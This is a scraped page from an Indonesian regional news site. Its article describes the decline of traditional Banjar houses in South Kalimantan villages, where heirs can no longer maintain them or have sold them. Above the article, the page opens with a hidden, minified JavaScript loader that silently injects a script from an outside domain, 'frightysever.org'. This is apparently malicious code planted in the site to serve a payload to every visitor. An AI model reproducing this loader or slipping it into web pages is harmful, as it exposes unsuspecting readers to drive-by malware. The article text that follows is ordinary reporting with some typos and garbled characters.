(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Meski masih berdiri sampai sekarang, rumah peninggalan turun temurun dari pedatuannya yang terkenal sebagai petani sukses dengan berhektare-hentare sawah dan ladang yang dimiliki itu, kini sekokoh dulu. Beberapa bagian rumah kian aus dimakan usia. Terutama di bagian atap yang berbahan sirap. Kian sulit dan mahalnya harga kayu ulin, yang juga bahan baku utama sirap, menjadi alasan utama atap pada rumah Bubungan tinggi itu diganti seng yang juga sudah mulai berkarat. H Amat lamak tak dapat mempertahankan kesalian rumah seperti dulu.
Meski tak lagi sekokoh dulu, dengan atap yang telag berganti seng, namun rumah Bubungan Tinggi miliknya H amat lamak masih tetap berdiri dan menjadi satu-satunya yang tersisa di Desa Bincau Muara. Jika tidak karena wasiat untuk tetap mempertahankannya, nasib rumah itu tentu akan sama dengan nasib rumah-rumah Banjar yang lain, yang telah lebih dulu rata dengan tanah.
Tak hanya rumah-rumah Banjar jenis Bubungan Tinggi yang ada di Desa Bincau Muara yang kian punah. Nasib akan rata dengan tanah juga mengancam sebuah rumah Bubungan Tinggi milik seorang saudagar kaya, H Hasyim yang telah lama meninggal, di Desa Keramat Baru, Martapura.
Sebelum meninggal, H Hasyim yang kerap berniaga batu-batu permata hingga ke Singapura, mewariskan rumah itu pada anaknya, Azizah. Dari tangan Azizah, rumah Bubungan Tinggi kemudian wariskan pada H Hasyim, anak Azizah. Lima tahun, H Hasyim menjual rumah itu pada seseorang di Banjarmasin.
“Rumah ini sudah dibeli orang Rp150 sejak lima tahun lalu. Dan tinggal menunggu waktu untuk dibabak dan dipindahkan ke Banjarmasin. Tapi salah kami juga,saat transaksi jual beli tak ada kesepakatan jangka waktu ppengangkatan rumah setelah pembayaran dilakukan. Padahal tanahnya untuk membangun rumah lagi,†kata H Hasyim.
Selain di desa Bincau Muara, dan Desa Keramat Baru, di Desa Pesayangan, Martapura juga masih banyak banyak berdiri rumah-rumah bahari. Model Palimasan dengan cirri khasnya terdapat kedua tangga di sisi kiri dan kanan rumah adalah yang masih banyak ditemui.
Di Desa Lihum, Kecamatan Karang Intan, juga masih ada beberapa rumah balai Bini, salah satu model rumah tradisonal Banjar yang lain. Meski masih berdiri, namun mayoritas rumah-rumah tradisional Banjar itu dalam kondisi tak jauh beda, kurang bahkan tak terawat dengan kerusakan beberapa bagian bagunannya. Hanya beberapa saja yang masih dalam kondisi baik dan dihuni sang ahli waris. Seperti beberapa rumah Palimasan, salah satunya Rumah Batu di Desa Pesayangan.
Sedangkan untuk rumah Bubungan Tinggi jumlahnya kian dapat dihitung dengan jari dengan kondisi yang juga kian memprihatinkan. Dari rumah-rumah tradisonal Banjar yang masih tersisa itu, hanya satu yang telah ditetapkan sebagai benda cagar budaya dan dilindungi undang-undang, Rumah Bubungan Tinggi di Desa Teluk Selong. (Rudiyanto)
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.